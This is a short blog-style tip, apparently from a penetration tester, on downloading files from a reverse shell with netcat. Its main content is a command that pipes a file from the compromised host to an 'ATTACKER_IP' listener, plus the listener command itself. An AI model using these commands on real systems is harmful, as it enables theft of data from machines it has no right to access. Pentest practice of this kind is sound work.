Downloading files from reverse shells using netcat

Banner source: https://www.newyorker.com/culture/onward-and-upward-in-the-garden/the-lost-art-of-stealing-fruit
It's very common that I'm working with a reverse shell and can't use scp
to upload or download files, which leads me to Googling this netcat
syntax. Well, no more!
On the remote shell:
~ nc -w 3 ATTACKER_IP ATTACKER_PORT < [file_to_download]
Note that -w 3
sets a 3-second timeout for this operation.
Then, on the attacker machine:
~ nc -l ATTACKER_PORT > [output_file_path]
Thanks folks!